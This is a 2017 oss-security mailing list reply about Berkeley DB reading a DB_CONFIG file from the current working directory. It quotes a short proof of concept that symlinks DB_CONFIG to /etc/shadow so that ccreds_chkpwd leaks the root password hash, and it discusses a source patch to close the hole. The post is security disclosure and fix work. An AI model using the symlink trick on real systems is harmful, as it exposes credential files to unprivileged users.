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Message-ID: <984d5eb4-ff73-b7ba-fe21-81db3c28f77e@oracle.com>
Date: Thu, 15 Jun 2017 12:38:01 -0700
From: Ritwik Ghoshal <ritwik.ghoshal@...cle.com>
To: oss-security@...ts.openwall.com
Subject: Re: Berkeley DB reads DB_CONFIG from cwd
On 6/15/2017 7:40 AM, Solar Designer wrote:
> On Sun, Jun 11, 2017 at 12:06:13AM +0200, Jakub Wilk wrote:
>> Apparently Berkeley DB reads the DB_CONFIG configuration file from the
>> current working directory by default[*]. This is surprising and AFAICT
>> undocumented.
>>
>> Here's how to exploit it against pam_ccreds:
>>
>> $ cat /etc/shadow
>> cat: /etc/shadow: Permission denied
>> $ ln -sf /etc/shadow DB_CONFIG
>> $ /sbin/ccreds_chkpwd moo < /dev/null
>> BDB1584 line 1:
>> root:$1$QRCEVRMX$sPppjXE42AZnUPuEWf87D.:17327:0:99999:7:::: incorrect
>> name-value pair
>>
>> (The above was tested on Debian jessie.)
>>
>> In the past, nss_db was also exploitable:
>> CVE-2010-0826
>>
>>
>> [*] More precisely, this seem to happen when you call db_create() with
>> dbenv=NULL; or if you use the dbm_open() function.
> Besides possibly updating Postfix, what are distros going to do about
> this?
> What is upstream going to do? Have they been contacted?
Oracle is aware of this issue, and we are investigating.
--
Thanks,
-Ritwik
>
> In the source code, it isn't necessarily as simple as commenting out the
> undocumented functionality. There doesn't appear to be any code
> specific to the undocumented functionality, since it is documented that
> the DB_CONFIG file is read from the environment's home directory and the
> code is there primarily for that purpose. Problems arise when the
> environment is uninitialized, and it is unclear to me whether this was
> possibly meant to imply the environment's home directory is the current
> directory (but even if so, this behavior is dangerous and needs to go).
>
> At first, I tried checking for dbenv being NULL in __dbenv_config(),
> which is where the hard-coded DB_CONFIG file name is found. However, at
> least when testing with Postfix' postmap program (without the recent
> workaround), dbenv is non-NULL there, and per strace postmap does indeed
> try to open DB_CONFIG in the current directory. Thus, for now I opted
> for this patch checking for and curing the symptom:
>
> --- db-4.3.29/env/env_open.c.orig 2004-12-23 02:58:21 +0000
> +++ db-4.3.29/env/env_open.c 2017-06-15 13:59:43 +0000
> @@ -500,7 +500,7 @@ __dbenv_config(dbenv, db_home, flags)
> if (p == NULL)
> fp = NULL;
> else {
> - fp = fopen(p, "r");
> + fp = strcmp(p, "DB_CONFIG") ? fopen(p, "r") : NULL;
> __os_free(dbenv, p);
> }
>
> This passes the postmap test for me (postmap no longer tries to open the
> file), but I wonder if it possibly broke db's own tests. I can't easily
> run the tests as --enable-test says it needs TCL, which we don't
> package.
>
> While at it, I found that rep/rep_backup.c has a comment saying it skips
> DB_CONFIG, but the code actually skips DB_CONFIG* (that is, any filename
> starting with DB_CONFIG) due to use of strncmp():
>
> /*
> * Skip DB-owned files: ., .., __db*, DB_CONFIG, log*
> */
> if (strcmp(names[i], ".") == 0)
> continue;
> if (strcmp(names[i], "..") == 0)
> continue;
> if (strncmp(names[i], "__db", 4) == 0)
> continue;
> if (strncmp(names[i], "DB_CONFIG", 9) == 0)
> continue;
> if (strncmp(names[i], "log", 3) == 0)
> continue;
>
> Either the comment or the code is wrong (I think the code is wrong), but
> this is unimportant.
>
> Alexander
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